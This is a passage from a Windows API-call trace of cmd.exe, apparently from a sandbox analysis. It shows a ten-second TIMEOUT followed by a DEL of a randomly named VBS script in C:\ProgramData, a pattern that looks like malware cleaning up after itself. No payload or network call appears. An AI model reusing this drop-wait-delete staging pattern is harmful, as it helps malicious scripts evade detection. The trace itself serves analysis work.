lpMode=0x9cb92fedf8) returned 1 [0233.672] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.672] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.679] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.680] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.680] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feac0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.697] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.698] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.698] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.698] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="DIR") returned 16 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="ERASE") returned 15 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="DEL") returned 16 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="TYPE") returned -16 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="COPY") returned 17 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="CD") returned 17 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="CHDIR") returned 17 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="RENAME") returned 2 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="REN") returned 2 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="ECHO") returned 15 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="SET") returned 1 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="PAUSE") returned 4 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="DATE") returned 16 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="TIME") returned 111 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="PROMPT") returned 4 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="MD") returned 7 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="MKDIR") returned 7 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="RD") returned 2 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="RMDIR") returned 2 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="PATH") returned 4 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="GOTO") returned 13 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="SHIFT") returned 1 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="CLS") returned 17 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="CALL") returned 17 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="VERIFY") returned -2 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="VER") returned -2 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="VOL") returned -2 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="EXIT") returned 15 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="SETLOCAL") returned 1 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="ENDLOCAL") returned 15 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="TITLE") returned -7 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="START") returned 1 [0233.699] _wcsicmp (_String1="TIMEOUT", _String2="DPATH") returned 16 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="KEYS") returned 9 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="MOVE") returned 7 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="PUSHD") returned 4 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="POPD") returned 4 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="ASSOC") returned 19 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="FTYPE") returned 14 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="BREAK") returned 18 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="COLOR") returned 17 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="MKLINK") returned 7 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="DIR") returned 16 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="ERASE") returned 15 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="DEL") returned 16 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="TYPE") returned -16 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="COPY") returned 17 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="CD") returned 17 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="CHDIR") returned 17 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="RENAME") returned 2 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="REN") returned 2 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="ECHO") returned 15 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="SET") returned 1 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="PAUSE") returned 4 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="DATE") returned 16 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="TIME") returned 111 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="PROMPT") returned 4 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="MD") returned 7 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="MKDIR") returned 7 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="RD") returned 2 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="RMDIR") returned 2 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="PATH") returned 4 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="GOTO") returned 13 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="SHIFT") returned 1 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="CLS") returned 17 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="CALL") returned 17 [0233.700] _wcsicmp (_String1="TIMEOUT", _String2="VERIFY") returned -2 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="VER") returned -2 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="VOL") returned -2 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="EXIT") returned 15 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="SETLOCAL") returned 1 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="ENDLOCAL") returned 15 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="TITLE") returned -7 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="START") returned 1 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="DPATH") returned 16 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="KEYS") returned 9 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="MOVE") returned 7 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="PUSHD") returned 4 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="POPD") returned 4 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="ASSOC") returned 19 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="FTYPE") returned 14 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="BREAK") returned 18 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="COLOR") returned 17 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="MKLINK") returned 7 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="FOR") returned 14 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="IF") returned 11 [0233.701] _wcsicmp (_String1="TIMEOUT", _String2="REM") returned 2 [0233.701] ??_V@YAXPEAX@Z () returned 0x1 [0233.702] GetProcessHeap () returned 0x20b0f920000 [0233.702] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957f90 [0233.703] GetProcessHeap () returned 0x20b0f920000 [0233.704] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x30) returned 0x20b0f946b30 [0233.704] _wcsnicmp (_String1="TIME", _String2="cmd ", _MaxCount=0x4) returned 17 [0233.704] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.704] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.706] GetProcessHeap () returned 0x20b0f920000 [0233.706] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967f80 [0233.708] SetErrorMode (uMode=0x0) returned 0x0 [0233.708] SetErrorMode (uMode=0x1) returned 0x0 [0233.708] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967f90, lpFilePart=0x9cb92fe340 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe340*="system32") returned 0x13 [0233.708] SetErrorMode (uMode=0x0) returned 0x1 [0233.708] GetProcessHeap () returned 0x20b0f920000 [0233.708] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967f80, Size=0x48) returned 0x20b0f967f80 [0233.708] GetProcessHeap () returned 0x20b0f920000 [0233.708] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967f80) returned 0x48 [0233.708] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.708] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.708] GetProcessHeap () returned 0x20b0f920000 [0233.709] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0233.709] GetProcessHeap () returned 0x20b0f920000 [0233.709] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.709] GetProcessHeap () returned 0x20b0f920000 [0233.709] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.709] GetProcessHeap () returned 0x20b0f920000 [0233.709] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.709] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.709] GetProcessHeap () returned 0x20b0f920000 [0233.709] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0233.709] GetProcessHeap () returned 0x20b0f920000 [0233.709] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f956e20 [0233.709] GetProcessHeap () returned 0x20b0f920000 [0233.709] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956e20) returned 0x7e [0233.709] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.709] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\TIMEOUT.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe0b0) returned 0x20b0f92d210 [0233.709] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0233.710] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\timeout.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe0b0) returned 0xffffffffffffffff [0233.710] GetLastError () returned 0x2 [0233.710] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\timeout.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe0b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe0b0) returned 0x20b0f92d210 [0233.710] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0233.710] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0233.710] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0233.710] ??_V@YAXPEAX@Z () returned 0x1 [0233.711] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92fe630, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.713] InitializeProcThreadAttributeList (in: lpAttributeList=0x9cb92fe550, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x9cb92fe440 | out: lpAttributeList=0x9cb92fe550, lpSize=0x9cb92fe440) returned 1 [0233.713] UpdateProcThreadAttribute (in: lpAttributeList=0x9cb92fe550, dwFlags=0x0, Attribute=0x60001, lpValue=0x9cb92fe42c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x9cb92fe550, lpPreviousValue=0x0) returned 1 [0233.713] GetStartupInfoW (in: lpStartupInfo=0x9cb92fe4e0 | out: lpStartupInfo=0x9cb92fe4e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0233.713] GetProcessHeap () returned 0x20b0f920000 [0233.713] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f92cbd0 [0233.713] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0233.713] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0233.713] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0233.713] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0233.713] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0233.713] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0233.713] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0233.714] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0233.715] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0233.715] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0233.715] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0233.715] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0233.715] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0233.715] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0233.715] GetProcessHeap () returned 0x20b0f920000 [0233.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cbd0) returned 1 [0233.715] GetProcessHeap () returned 0x20b0f920000 [0233.715] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x12) returned 0x20b0f92a290 [0233.715] lstrcmpW (lpString1="\\timeout.exe", lpString2="\\XCOPY.EXE") returned -1 [0233.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.715] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0233.716] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.716] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1 [0233.716] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\timeout.exe", lpCommandLine="TIMEOUT /T 10 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x9cb92fe470*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="TIMEOUT /T 10 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x9cb92fe448 | out: lpCommandLine="TIMEOUT /T 10 ", lpProcessInformation=0x9cb92fe448*(hProcess=0xa0, hThread=0x9c, dwProcessId=0x12a0, dwThreadId=0x12a8)) returned 1 [0233.838] CloseHandle (hObject=0x9c) returned 1 [0233.838] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0233.838] GetProcessHeap () returned 0x20b0f920000 [0233.838] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f949730) returned 1 [0233.838] GetEnvironmentStringsW () returned 0x20b0f948c40* [0233.838] GetProcessHeap () returned 0x20b0f920000 [0233.838] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0233.838] FreeEnvironmentStringsA (penv="=") returned 1 [0233.838] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0243.656] GetExitCodeProcess (in: hProcess=0xa0, lpExitCode=0x9cb92fe3c8 | out: lpExitCode=0x9cb92fe3c8*=0x0) returned 1 [0243.656] CloseHandle (hObject=0xa0) returned 1 [0243.656] _vsnwprintf (in: _Buffer=0x9cb92fe598, _BufferCount=0x13, _Format="%08X", _ArgList=0x9cb92fe3d8 | out: _Buffer="00000000") returned 8 [0243.656] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0243.656] GetProcessHeap () returned 0x20b0f920000 [0243.656] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f949730) returned 1 [0243.656] GetEnvironmentStringsW () returned 0x20b0f948c40* [0243.656] GetProcessHeap () returned 0x20b0f920000 [0243.656] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0243.656] FreeEnvironmentStringsA (penv="=") returned 1 [0243.656] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0243.656] GetProcessHeap () returned 0x20b0f920000 [0243.656] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f949730) returned 1 [0243.656] GetEnvironmentStringsW () returned 0x20b0f948c40* [0243.656] GetProcessHeap () returned 0x20b0f920000 [0243.657] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0243.657] FreeEnvironmentStringsA (penv="=") returned 1 [0243.657] GetProcessHeap () returned 0x20b0f920000 [0243.657] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a290) returned 1 [0243.657] DeleteProcThreadAttributeList (in: lpAttributeList=0x9cb92fe550 | out: lpAttributeList=0x9cb92fe550) [0243.657] ??_V@YAXPEAX@Z () returned 0x1 [0243.658] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92fea30, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0243.661] malloc (_Size=0xffce) returned 0x20b0fa70920 [0243.661] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0243.664] malloc (_Size=0xffce) returned 0x20b0fa80900 [0243.664] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0243.664] _wcsicmp (_String1="DEL", _String2="DIR") returned -4 [0243.665] _wcsicmp (_String1="DEL", _String2="ERASE") returned -1 [0243.665] _wcsicmp (_String1="DEL", _String2="DEL") returned 0 [0243.665] ??_V@YAXPEAX@Z () returned 0x1 [0243.665] GetProcessHeap () returned 0x20b0f920000 [0243.665] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f94b640 [0243.665] GetProcessHeap () returned 0x20b0f920000 [0243.665] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f94b640, Size=0x62) returned 0x20b0f92e250 [0243.665] GetProcessHeap () returned 0x20b0f920000 [0243.665] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e250) returned 0x62 [0243.665] GetProcessHeap () returned 0x20b0f920000 [0243.665] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x6c) returned 0x20b0f94a4f0 [0243.665] malloc (_Size=0xffce) returned 0x20b0fa80900 [0243.666] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0243.667] GetProcessHeap () returned 0x20b0f920000 [0243.667] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f94b880 [0243.667] GetProcessHeap () returned 0x20b0f920000 [0243.667] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f94b880, Size=0x62) returned 0x20b0f92e2c0 [0243.667] GetProcessHeap () returned 0x20b0f920000 [0243.667] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e2c0) returned 0x62 [0243.667] GetProcessHeap () returned 0x20b0f920000 [0243.667] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x60) returned 0x20b0f92d600 [0243.667] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa80900 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.667] malloc (_Size=0xffd2) returned 0x20b0fa908e0 [0243.668] ??_V@YAXPEAX@Z () returned 0x20b0fa908e0 [0243.668] malloc (_Size=0xffd2) returned 0x20b0faa08c0 [0243.669] ??_V@YAXPEAX@Z () returned 0x20b0faa08c0 [0243.669] malloc (_Size=0xffd2) returned 0x20b0fab08a0 [0243.669] ??_V@YAXPEAX@Z () returned 0x20b0fab08a0 [0243.670] GetProcessHeap () returned 0x20b0f920000 [0243.670] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x58) returned 0x20b0f92d030 [0243.670] malloc (_Size=0xffce) returned 0x20b0fac0880 [0243.670] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0243.671] malloc (_Size=0xffce) returned 0x20b0fad0860 [0243.671] ??_V@YAXPEAX@Z () returned 0x20b0fad0860 [0243.672] malloc (_Size=0xffce) returned 0x20b0fae0840 [0243.672] ??_V@YAXPEAX@Z () returned 0x20b0fae0840 [0243.673] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fae0840 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.673] ??_V@YAXPEAX@Z () returned 0x1 [0243.673] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x9cb92fd650, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x20b0fac0880, nFileSystemNameSize=0x7fe7 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x9cb92fd650*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0243.676] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0243.676] ??_V@YAXPEAX@Z () returned 0x8 [0243.676] ??_V@YAXPEAX@Z () returned 0x1 [0243.676] ??_V@YAXPEAX@Z () returned 0x1 [0243.678] malloc (_Size=0xffce) returned 0x20b0fac0880 [0243.679] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0243.679] GetProcessHeap () returned 0x20b0f920000 [0243.679] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x58) returned 0x20b0f92ce50 [0243.679] GetProcessHeap () returned 0x20b0f920000 [0243.679] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x260) returned 0x20b0f92a2d0 [0243.679] _wcsicmp (_String1="JHJKGHuggUGUGYYuyggg.vbs", _String2=".") returned 60 [0243.679] _wcsicmp (_String1="JHJKGHuggUGUGYYuyggg.vbs", _String2="..") returned 60 [0243.679] GetFileAttributesW (lpFileName="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" (normalized: "c:\\programdata\\jhjkghuggugugyyuyggg.vbs")) returned 0x2020 [0243.680] GetProcessHeap () returned 0x20b0f920000 [0243.680] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f967fe0 [0243.681] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0f967ff0 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.681] SetErrorMode (uMode=0x0) returned 0x0 [0243.681] SetErrorMode (uMode=0x1) returned 0x0 [0243.681] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", nBufferLength=0x7fe7, lpBuffer=0x20b0fac0880, lpFilePart=0x9cb92fda90 | out: lpBuffer="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", lpFilePart=0x9cb92fda90*="JHJKGHuggUGUGYYuyggg.vbs") returned 0x27 [0243.682] SetErrorMode (uMode=0x0) returned 0x1 [0243.682] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0243.682] GetProcessHeap () returned 0x20b0f920000 [0243.682] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x260) returned 0x20b0f947e90 [0243.682] _wcsicmp (_String1="JHJKGHuggUGUGYYuyggg.vbs", _String2=".") returned 60 [0243.682] _wcsicmp (_String1="JHJKGHuggUGUGYYuyggg.vbs", _String2="..") returned 60 [0243.682] GetFileAttributesW (lpFileName="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" (normalized: "c:\\programdata\\jhjkghuggugugyyuyggg.vbs")) returned 0x2020 [0243.683] ??_V@YAXPEAX@Z () returned 0x1 [0243.683] GetProcessHeap () returned 